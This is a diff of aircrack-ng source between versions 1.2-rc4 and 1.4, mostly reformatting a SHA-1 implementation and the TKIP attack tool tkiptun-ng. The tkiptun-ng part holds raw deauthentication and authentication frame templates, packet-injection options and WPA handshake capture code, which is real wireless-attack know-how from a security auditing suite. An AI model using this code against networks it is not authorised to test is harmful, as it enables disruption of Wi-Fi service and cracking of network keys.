+	} while (0)
+
+#define T_0_15(t, A, B, C, D, E)                                               \
+	SHA_ROUND(t, SHA_SRC, (((C ^ D) & B) ^ D), 0x5a827999, A, B, C, D, E)
+#define T_16_19(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, (((C ^ D) & B) ^ D), 0x5a827999, A, B, C, D, E)
+#define T_20_39(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, (B ^ C ^ D), 0x6ed9eba1, A, B, C, D, E)
+#define T_40_59(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, ((B & C) + (D & (B ^ C))), 0x8f1bbcdc, A, B, C, D, E)
+#define T_60_79(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, (B ^ C ^ D), 0xca62c1d6, A, B, C, D, E)
+
+static void blk_SHA1_Block(blk_SHA_CTX * ctx, const unsigned int * data)
 {
-	unsigned int A,B,C,D,E;
+	unsigned int A, B, C, D, E;
 	unsigned int array[16];
 
 	A = ctx->h0;
@@ -158,16 +183,16 @@
 	E = ctx->h4;
 
 	/* Round 1 - iterations 0-16 take their input from 'data' */
-	T_0_15( 0, A, B, C, D, E);
-	T_0_15( 1, E, A, B, C, D);
-	T_0_15( 2, D, E, A, B, C);
-	T_0_15( 3, C, D, E, A, B);
-	T_0_15( 4, B, C, D, E, A);
-	T_0_15( 5, A, B, C, D, E);
-	T_0_15( 6, E, A, B, C, D);
-	T_0_15( 7, D, E, A, B, C);
-	T_0_15( 8, C, D, E, A, B);
-	T_0_15( 9, B, C, D, E, A);
+	T_0_15(0, A, B, C, D, E);
+	T_0_15(1, E, A, B, C, D);
+	T_0_15(2, D, E, A, B, C);
+	T_0_15(3, C, D, E, A, B);
+	T_0_15(4, B, C, D, E, A);
+	T_0_15(5, A, B, C, D, E);
+	T_0_15(6, E, A, B, C, D);
+	T_0_15(7, D, E, A, B, C);
+	T_0_15(8, C, D, E, A, B);
+	T_0_15(9, B, C, D, E, A);
 	T_0_15(10, A, B, C, D, E);
 	T_0_15(11, E, A, B, C, D);
 	T_0_15(12, D, E, A, B, C);
@@ -254,7 +279,7 @@
 	ctx->h4 += E;
 }
 
-void blk_SHA1_Init(blk_SHA_CTX *ctx)
+void blk_SHA1_Init(blk_SHA_CTX * ctx)
 {
 	ctx->size = 0;
 
@@ -266,37 +291,36 @@
 	ctx->h4 = 0xc3d2e1f0;
 }
 
-void blk_SHA1_Update(blk_SHA_CTX *ctx, const void *data, unsigned long len)
+void blk_SHA1_Update(blk_SHA_CTX * ctx, const void * data, unsigned long len)
 {
 	unsigned int lenW = ctx->size & 63;
 
 	ctx->size += len;
 
 	/* Read the data into W and process blocks as they get full */
-	if (lenW) {
+	if (lenW)
+	{
 		unsigned int left = 64 - lenW;
-		if (len < left)
-			left = len;
-		memcpy(lenW + (char *)ctx->W, data, left);
+		if (len < left) left = len;
+		memcpy(lenW + (char *) ctx->W, data, left);
 		lenW = (lenW + left) & 63;
 		len -= left;
-		data = ((const char *)data + left);
-		if (lenW)
-			return;
+		data = ((const char *) data + left);
+		if (lenW) return;
 		blk_SHA1_Block(ctx, ctx->W);
 	}
-	while (len >= 64) {
+	while (len >= 64)
+	{
 		blk_SHA1_Block(ctx, data);
-		data = ((const char *)data + 64);
+		data = ((const char *) data + 64);
 		len -= 64;
 	}
-	if (len)
-		memcpy(ctx->W, data, len);
+	if (len) memcpy(ctx->W, data, len);
 }
 
-void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX *ctx)
+void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX * ctx)
 {
-	static const unsigned char pad[64] = { 0x80 };
+	static const unsigned char pad[64] = {0x80};
 	unsigned int padlen[2];
 	int i;
 
@@ -305,15 +329,15 @@
 	padlen[1] = htonl((uint32_t)(ctx->size << 3));
 
 	i = ctx->size & 63;
-	blk_SHA1_Update(ctx, pad, 1+ (63 & (55 - i)));
+	blk_SHA1_Update(ctx, pad, 1 + (63 & (55 - i)));
 	blk_SHA1_Update(ctx, padlen, 8);
 
 	/* Output hash */
-	put_be32(hashout + 0*4, ctx->h0);
-	put_be32(hashout + 1*4, ctx->h1);
-	put_be32(hashout + 2*4, ctx->h2);
-	put_be32(hashout + 3*4, ctx->h3);
-	put_be32(hashout + 4*4, ctx->h4);
+	put_be32(hashout + 0 * 4, ctx->h0);
+	put_be32(hashout + 1 * 4, ctx->h1);
+	put_be32(hashout + 2 * 4, ctx->h2);
+	put_be32(hashout + 3 * 4, ctx->h3);
+	put_be32(hashout + 4 * 4, ctx->h4);
 }
 #define _SHA1_GIT
 #endif

aircrack-ng-1.2-rc4.tar.gz/src/sha1-git.h -> aircrack-ng-1.4.tar.gz/src/sha1-git.h Changed

aircrack-ng-1.2-rc4.tar.gz/src/tkiptun-ng.c -> aircrack-ng-1.4.tar.gz/src/tkiptun-ng.c Changed

@@ -17,7 +17,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -35,7 +35,7 @@
  */
 
 #if defined(linux)
-    #include <linux/rtc.h>
+#include <linux/rtc.h>
 #endif
 
 #include <sys/types.h>
@@ -67,45 +67,44 @@
 
 #include "version.h"
 #include "pcap.h"
-#include "osdep/osdep.h"
+#include "aircrack-osdep/osdep.h"
 #include "crypto.h"
-#include "common.h"
+#include "aircrack-util/common.h"
 #include "eapol.h"
+#include "aircrack-util/console.h"
 
-#define RTC_RESOLUTION  8192
+#define RTC_RESOLUTION 8192
 
-#define REQUESTS    30
-#define MAX_APS     20
+#define REQUESTS 30
+#define MAX_APS 20
 
-#define NEW_IV  1
-#define RETRY   2
-#define ABORT   3
+#define NEW_IV 1
+#define RETRY 2
+#define ABORT 3
 
-#define DEAUTH_REQ      \
-    "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
+#define DEAUTH_REQ                                                             \
+	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
 
-#define AUTH_REQ        \
-    "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
+#define AUTH_REQ                                                               \
+	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
 
-#define ASSOC_REQ       \
-    "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+#define ASSOC_REQ                                                              \
+	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
 
-#define NULL_DATA       \
-    "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+#define NULL_DATA                                                              \
+	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
 
-#define RTS             \
-    "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
+#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
 
-#define RATES           \
-    "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
 
-#define PROBE_REQ       \
-    "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
 
 #define RATE_NUM 12
 
@@ -125,194 +124,192 @@
 
 #define DEFAULT_MIC_FAILURE_INTERVAL 60
 
-static unsigned char ZERO[32] =
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00";
-
-int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M};
-
-extern int maccmp(unsigned char *mac1, unsigned char *mac2);
-extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
-extern int check_crc_buf( unsigned char *buf, int len );
-extern const unsigned long int crc_tbl[256];
-extern const unsigned char crc_chop_tbl[256][4];
-extern int hexStringToArray(char* in, int in_length, unsigned char* out, int out_length);
+int bitrates[RATE_NUM] = {RATE_1M,
+						  RATE_2M,
+						  RATE_5_5M,
+						  RATE_6M,
+						  RATE_9M,
+						  RATE_11M,
+						  RATE_12M,
+						  RATE_18M,
+						  RATE_24M,
+						  RATE_36M,
+						  RATE_48M,
+						  RATE_54M};
 
 char usage[] =
 
-"\n"
-"  %s - (C) 2008-2015 Thomas d\'Otreppe\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  usage: tkiptun-ng <options> <replay interface>\n"
-"\n"
-"  Filter options:\n"
-"\n"
-"      -d dmac   : MAC address, Destination\n"
-"      -s smac   : MAC address, Source\n"
-"      -m len    : minimum packet length (default: 80) \n"
-"      -n len    : maximum packet length (default: 80)\n"
-"      -t tods   : frame control, To      DS bit\n"
-"      -f fromds : frame control, From    DS bit\n"
-"      -D        : disable AP detection\n"
-"      -Z        : select packets manually\n"
-"\n"
-"  Replay options:\n"
-"\n"
-"      -x nbpps  : number of packets per second\n"
-"      -a bssid  : set Access Point MAC address\n"
-"      -c dmac   : set Destination  MAC address\n"
-"      -h smac   : set Source       MAC address\n"
-"      -e essid  : set target AP SSID\n"
-"      -M sec    : MIC error timout in seconds [60]\n"
-"\n"
-"  Debug options:\n"
-"\n"
-"      -K prga   : keystream for continuation\n"
-"      -y file   : keystream-file for continuation\n"
-"      -j        : inject FromDS packets\n"
-"      -P pmk    : pmk for verification/vuln testing\n"
-"      -p psk    : psk to calculate pmk with essid\n"
-"\n"
-"  source options:\n"
-"\n"
-"      -i iface  : capture packets from this interface\n"
-"      -r file   : extract packets from this pcap file\n"
-"\n"
-"      --help              : Displays this usage screen\n"
-"\n";
+	"\n"
+	"  %s - (C) 2008-2015 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: tkiptun-ng <options> <replay interface>\n"
+	"\n"
+	"  Filter options:\n"
+	"\n"
+	"      -d dmac   : MAC address, Destination\n"
+	"      -s smac   : MAC address, Source\n"
+	"      -m len    : minimum packet length (default: 80) \n"
+	"      -n len    : maximum packet length (default: 80)\n"
+	"      -t tods   : frame control, To      DS bit\n"
+	"      -f fromds : frame control, From    DS bit\n"
+	"      -D        : disable AP detection\n"
+	"      -Z        : select packets manually\n"
+	"\n"
+	"  Replay options:\n"
+	"\n"
+	"      -x nbpps  : number of packets per second\n"
+	"      -a bssid  : set Access Point MAC address\n"
+	"      -c dmac   : set Destination  MAC address\n"
+	"      -h smac   : set Source       MAC address\n"
+	"      -e essid  : set target AP SSID\n"
+	"      -M sec    : MIC error timeout in seconds [60]\n"
+	"\n"
+	"  Debug options:\n"
+	"\n"
+	"      -K prga   : keystream for continuation\n"
+	"      -y file   : keystream-file for continuation\n"
+	"      -j        : inject FromDS packets\n"
+	"      -P pmk    : pmk for verification/vuln testing\n"
+	"      -p psk    : psk to calculate pmk with essid\n"
+	"\n"
+	"  source options:\n"
+	"\n"
+	"      -i iface  : capture packets from this interface\n"
+	"      -r file   : extract packets from this pcap file\n"
+	"\n"
+	"      --help    : Displays this usage screen\n"
+	"\n";
 
 struct options
 {
-    unsigned char f_bssid[6];
-    unsigned char f_dmac[6];
-    unsigned char f_smac[6];
-    int f_minlen;
-    int f_maxlen;
-    int f_minlen_set;
-    int f_maxlen_set;
-    int f_type;
-    int f_subtype;
-    int f_tods;
-    int f_fromds;
-    int f_iswep;
-
-    FILE *f_ivs;            /* output ivs file      */
-
-    int r_nbpps;
-    int r_fctrl;
-    unsigned char r_bssid[6];
-    unsigned char r_dmac[6];
-    unsigned char r_smac[6];
-    unsigned char r_apmac[6];
-    unsigned char r_dip[4];
-    unsigned char r_sip[4];
-    char r_essid[33];
-    int r_fromdsinj;
-    char r_smac_set;
-
-    char ip_out[16];    //16 for 15 chars + \x00
-    char ip_in[16];
-    int port_out;
-    int port_in;
-
-    char *iface_out;
-    char *s_face;
-    char *s_file;
-    unsigned char *prga;
-
-    int a_mode;
-    int a_count;
-    int a_delay;
-
-    int ringbuffer;
-    int ghost;
-    int prgalen;
-
-    int delay;
-    int npackets;
-
-    int fast;
-    int bittest;
-
-    int nodetect;
-
-    unsigned char oldkeystream[2048];   /* user-defined old keystream */
-    int oldkeystreamlen;    /* user-defined old keystream length */
-    char  wpa_essid[256];   /* essid used for calculating the pmk out of the psk */
-    char  psk[128];         /* shared passphrase among the clients */
-    unsigned char pmk[128];         /* pmk derived from the essid and psk */
-    unsigned char ptk[80];          /* ptk calculated from all pieces captured in the handshake */
-    unsigned char ip_cli[4];
-    unsigned char ip_ap[4];
-    int got_ptk;
-    int got_pmk;
-    int got_psk;
-    int got_mic_fromds;
-    int got_mic_tods;
-    int got_ip_ap;
-    int got_ip_client;
-
-    struct WPA_hdsk wpa;    /* valid WPA handshake data     */
-    struct WPA_ST_info wpa_sta; /* used to calculate the pmk */
-    time_t wpa_time;           /* time when the wpa handshake arrived */
-
-    unsigned char *chopped_from_plain;    /* chopped plaintext packet from the AP */
-    unsigned char *chopped_to_plain;      /* chopped plaintext packet to the AP */
-    unsigned char *chopped_from_prga;    /* chopped keystream from the AP */
-    unsigned char *chopped_to_prga;      /* chopped keystream to the AP */
-    int chopped_from_plain_len;
-    int chopped_to_plain_len;
-    int chopped_from_prga_len;
-    int chopped_to_prga_len;
-
-    struct timeval last_mic_failure;    /* timestamp of last mic failure */
-    int mic_failure_interval;           /* time between allowed mic failures */
-}
-opt;
+	unsigned char f_bssid[6];
+	unsigned char f_dmac[6];
+	unsigned char f_smac[6];
+	int f_minlen;
+	int f_maxlen;
+	int f_minlen_set;
+	int f_maxlen_set;
+	int f_type;
+	int f_subtype;
+	int f_tods;
+	int f_fromds;
+	int f_iswep;
+
+	FILE * f_ivs; /* output ivs file      */
+
+	int r_nbpps;
+	int r_fctrl;
+	unsigned char r_bssid[6];
+	unsigned char r_dmac[6];
+	unsigned char r_smac[6];
+	unsigned char r_apmac[6];
+	unsigned char r_dip[4];
+	unsigned char r_sip[4];
+	char r_essid[33];
+	int r_fromdsinj;
+	char r_smac_set;
+
+	char ip_out[16]; // 16 for 15 chars + \x00
+	char ip_in[16];
+	int port_out;
+	int port_in;
+
+	char * iface_out;
+	char * s_face;
+	char * s_file;
+	unsigned char * prga;
+
+	int a_mode;
+	int a_count;
+	int a_delay;
+
+	int ringbuffer;
+	int ghost;
+	int prgalen;
+
+	int delay;
+	int npackets;
+
+	int fast;
+	int bittest;
+
+	int nodetect;
+
+	unsigned char oldkeystream[4096]; /* user-defined old keystream */
+	int oldkeystreamlen; /* user-defined old keystream length */
+	char wpa_essid[256]; /* essid used for calculating the pmk out of the psk */
+	char psk[128]; /* shared passphrase among the clients */
+	unsigned char pmk[128]; /* pmk derived from the essid and psk */
+	unsigned char
+		ptk[80]; /* ptk calculated from all pieces captured in the handshake */
+	unsigned char ip_cli[4];
+	unsigned char ip_ap[4];
+	int got_ptk;
+	int got_pmk;
+	int got_psk;
+	int got_mic_fromds;
+	int got_mic_tods;
+	int got_ip_ap;
+	int got_ip_client;
+
+	struct WPA_hdsk wpa; /* valid WPA handshake data     */
+	struct WPA_ST_info wpa_sta; /* used to calculate the pmk */
+	time_t wpa_time; /* time when the wpa handshake arrived */
+
+	unsigned char *
+		chopped_from_plain; /* chopped plaintext packet from the AP */
+	unsigned char * chopped_to_plain; /* chopped plaintext packet to the AP */
+	unsigned char * chopped_from_prga; /* chopped keystream from the AP */
+	unsigned char * chopped_to_prga; /* chopped keystream to the AP */
+	int chopped_from_plain_len;
+	int chopped_to_plain_len;
+	int chopped_from_prga_len;
+	int chopped_to_prga_len;
+
+	struct timeval last_mic_failure; /* timestamp of last mic failure */
+	int mic_failure_interval; /* time between allowed mic failures */
+} opt;
 
 struct devices
 {
-    int fd_in,  arptype_in;
-    int fd_out, arptype_out;
-    int fd_rtc;
-
-    unsigned char mac_in[6];
-    unsigned char mac_out[6];
-
-    int is_wlanng;
-    int is_hostap;
-    int is_madwifi;
-    int is_madwifing;
-    int is_bcm43xx;
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_rtc;
+
+	unsigned char mac_in[6];
+	unsigned char mac_out[6];
+
+	int is_wlanng;
+	int is_hostap;
+	int is_madwifi;
+	int is_madwifing;
+	int is_bcm43xx;
 
-    FILE *f_cap_in;
+	FILE * f_cap_in;
 
-    struct pcap_file_header pfh_in;
-}
-dev;
+	struct pcap_file_header pfh_in;
+} dev;
 
 static struct wif *_wi_in, *_wi_out;
 
 struct ARP_req
 {
-    unsigned char *buf;
-    int hdrlen;
-    int len;
+	unsigned char * buf;
+	int hdrlen;
+	int len;
 };
 
 struct APt
 {
-    unsigned char set;
-    unsigned char found;
-    unsigned char len;
-    unsigned char essid[255];
-    unsigned char bssid[6];
-    unsigned char chan;
-    unsigned int  ping[REQUESTS];
-    int  pwr[REQUESTS];
+	unsigned char set;
+	unsigned char found;
+	unsigned char len;
+	unsigned char essid[255];
+	unsigned char bssid[6];
+	unsigned char chan;
+	unsigned int ping[REQUESTS];
+	int pwr[REQUESTS];
 };
 
 struct APt ap[MAX_APS];
@@ -323,347 +320,242 @@
 unsigned char srcbuf[4096];
 char strbuf[512];
 
-unsigned char ska_auth1[]     = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                        "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00";
-
-unsigned char ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                        "\x00\x00\x00\x00\x00\x00\xc0\x01";
-
+unsigned char ska_auth1[]
+	= "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+	  "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00";
+
+unsigned char ska_auth3[4096]
+	= "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+	  "\x00\x00\x00\x00\x00\x00\xc0\x01";
 
 int ctrl_c, alarmed;
 
 char * iwpriv;
 
-
-void sighandler( int signum )
-{
-    if( signum == SIGINT )
-        ctrl_c++;
-
-    if( signum == SIGALRM )
-        alarmed++;
-}
-
-int reset_ifaces()
+static int check_received(unsigned char * packet, unsigned length)
 {
-    //close interfaces
-    if(_wi_in != _wi_out)
-    {
-        if(_wi_in)
-        {
-            wi_close(_wi_in);
-            _wi_in = NULL;
-        }
-        if(_wi_out)
-        {
-            wi_close(_wi_out);
-            _wi_out = NULL;
-        }
-    }
-    else
-    {
-        if(_wi_out)
-        {
-            wi_close(_wi_out);
-            _wi_out = NULL;
-            _wi_in = NULL;
-        }
-    }
-
-    /* open the replay interface */
-    _wi_out = wi_open(opt.iface_out);
-    if (!_wi_out)
-        return 1;
-    dev.fd_out = wi_fd(_wi_out);
-
-    /* open the packet source */
-    if( opt.s_face != NULL )
-    {
-        _wi_in = wi_open(opt.s_face);
-        if (!_wi_in)
-            return 1;
-        dev.fd_in = wi_fd(_wi_in);
-        wi_get_mac(_wi_in, dev.mac_in);
-    }
-    else
-    {
-        _wi_in = _wi_out;
-        dev.fd_in = dev.fd_out;
-
-        /* XXX */
-        dev.arptype_in = dev.arptype_out;
-        wi_get_mac(_wi_in, dev.mac_in);
-    }
-
-    wi_get_mac(_wi_out, dev.mac_out);
-
-    return 0;
-}
-
-int set_bitrate(struct wif *wi, int rate)
-{
-    int i, newrate;
-
-    if( wi_set_rate(wi, rate) )
-        return 1;
-
-//    if( reset_ifaces() )
-//        return 1;
-
-    //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead
-    if (rate == 5500000 && wi_get_rate(wi) != 5500000) {
-	if( wi_set_rate(wi, 5000000) )
-	    return 1;
-    }
-
-    newrate = wi_get_rate(wi);
-    for(i=0; i<RATE_NUM; i++)
-    {
-        if(bitrates[i] == rate)
-            break;
-    }
-    if(i==RATE_NUM)
-        i=-1;
-    if( newrate != rate )
-    {
-        if(i!=-1)
-        {
-            if( i>0 )
-            {
-                if(bitrates[i-1] >= newrate)
-                {
-                    printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
-                    return 1;
-                }
-            }
-            if( i<RATE_NUM-1 )
-            {
-                if(bitrates[i+1] <= newrate)
-                {
-                    printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
-                    return 1;
-                }
-            }
-            return 0;
-        }
-        printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
-        return 1;
-    }
-    return 0;
-}
-
-int check_received(unsigned char *packet, unsigned length)
-{
-    unsigned z;
-    unsigned char bssid[6], smac[6], dmac[6];
-    struct ivs2_pkthdr ivs2;
-
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-
-    if(length < z) return 0;
-
-    /* Check if 802.11e (QoS) */
-    if( (packet[0] & 0x80) == 0x80) z+=2;
-
-    switch( packet[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, packet + 16, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, packet + 4, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  2:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 16, 6 );
-            break;
-        default:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 24, 6 );
-            break;
-    }
-
-    if( memcmp(bssid, opt.f_bssid, 6) != 0 )
-    {
-        return(0);
-    }
-    else
-    {
-        if(memcmp(dmac, opt.wpa.stmac, 6) != 0 && memcmp(smac, opt.wpa.stmac, 6) != 0)
-            return(0);
-    }
+	unsigned z;
+	unsigned char bssid[6], smac[6], dmac[6];
+	struct ivs2_pkthdr ivs2;
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z) return 0;
+
+	/* Check if 802.11e (QoS) */
+	if ((packet[0] & 0x80) == 0x80) z += 2;
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
 
-    if( z + 26 > length )
-        return 0;
+	if (memcmp(bssid, opt.f_bssid, 6) != 0)
+	{
+		return (0);
+	}
+	else
+	{
+		if (memcmp(dmac, opt.wpa.stmac, 6) != 0
+			&& memcmp(smac, opt.wpa.stmac, 6) != 0)
+			return (0);
+	}
 
-    if(!(packet[1] & 0x40)) //not encrypted
-    {
-        z += 6;     //skip LLC header
+	if (z + 26 > length) return 0;
 
-        /* check ethertype == EAPOL */
-        if( packet[z] == 0x88 && packet[z + 1] == 0x8E && (packet[1] & 0x40) != 0x40 )
-        {
-            if(opt.wpa.state != 7 || time(NULL) - opt.wpa_time > 1)
-            {
-                z += 2;     //skip ethertype
-
-                /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-                if( ( packet[z + 6] & 0x08 ) != 0 &&
-                        ( packet[z + 6] & 0x40 ) == 0 &&
-                        ( packet[z + 6] & 0x80 ) != 0 &&
-                        ( packet[z + 5] & 0x01 ) == 0 )
-                {
-                    memcpy( opt.wpa.anonce, &packet[z + 17], 32 );
-                    opt.wpa.state = 1;
-                }
-
-
-                /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-                if( z+17+32 > length )
-                    return 0;
-
-                if( ( packet[z + 6] & 0x08 ) != 0 &&
-                        ( packet[z + 6] & 0x40 ) == 0 &&
-                        ( packet[z + 6] & 0x80 ) == 0 &&
-                        ( packet[z + 5] & 0x01 ) != 0 )
-                {
-                    if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 )
-                    {
-                        memcpy( opt.wpa.snonce, &packet[z + 17], 32 );
-                        opt.wpa.state |= 2;
-
-                    }
-
-                    if( (opt.wpa.state & 4) != 4 )
-                    {
-                        opt.wpa.eapol_size = ( packet[z + 2] << 8 )
-                                +   packet[z + 3] + 4;
-
-                        if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol) ||
-                            length - z < opt.wpa.eapol_size) {
-                            // ignore packet trying to crash us
-                            opt.wpa.eapol_size = 0;
-                            return 0;
-                        }
-
-                        memcpy( opt.wpa.keymic, &packet[z + 81], 16 );
-                        memcpy( opt.wpa.eapol,  &packet[z], opt.wpa.eapol_size );
-                        memset( opt.wpa.eapol + 81, 0, 16 );
-                        opt.wpa.state |= 4;
-                        opt.wpa.keyver = packet[z + 6] & 7;
-                    }
-                }
-
-                /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-                if( ( packet[z + 6] & 0x08 ) != 0 &&
-                        ( packet[z + 6] & 0x40 ) != 0 &&
-                        ( packet[z + 6] & 0x80 ) != 0 &&
-                        ( packet[z + 5] & 0x01 ) != 0 )
-                {
-                    if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 )
-                    {
-                        memcpy( opt.wpa.anonce, &packet[z + 17], 32 );
-                        opt.wpa.state |= 1;
-                    }
-
-                    if( (opt.wpa.state & 4) != 4 )
-                    {
-                        opt.wpa.eapol_size = ( packet[z + 2] << 8 )
-                                +   packet[z + 3] + 4;
-
-                        if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol) ||
-                            length - z < opt.wpa.eapol_size) {
-                            // ignore packet trying to crash us
-                            opt.wpa.eapol_size = 0;
-                            return 0;
-                        }
-
-                        memcpy( opt.wpa.keymic, &packet[z + 81], 16 );
-                        memcpy( opt.wpa.eapol,  &packet[z], opt.wpa.eapol_size );
-                        memset( opt.wpa.eapol + 81, 0, 16 );
-                        opt.wpa.state |= 4;
-                        opt.wpa.keyver = packet[z + 6] & 7;
-                    }
-                }
-
-                if( opt.wpa.state == 7)
-                {
-                    memcpy( opt.wpa.stmac, opt.r_smac, 6 );
-                    PCT; printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X captured\n",
-                        opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2],
-                        opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]);
-
-                    opt.wpa_time = time(NULL);
-
-                    if( opt.f_ivs != NULL )
-                    {
-                        memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                        ivs2.flags = 0;
-                        ivs2.len = 0;
-
-                        ivs2.len= sizeof(struct WPA_hdsk);
-                        ivs2.flags |= IVS2_WPA;
-
-                        ivs2.flags |= IVS2_BSSID;
-                        ivs2.len += 6;
-
-                        if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs )
-                            != (size_t) sizeof(struct ivs2_pkthdr) )
-                        {
-                            perror( "fwrite(IV header) failed" );
-                            return( 1 );
-                        }
-
-                        if( ivs2.flags & IVS2_BSSID )
-                        {
-                            if( fwrite( opt.r_bssid, 1, 6, opt.f_ivs ) != (size_t) 6 )
-                            {
-                                perror( "fwrite(IV bssid) failed" );
-                                return( 1 );
-                            }
-                            ivs2.len -= 6;
-                        }
-
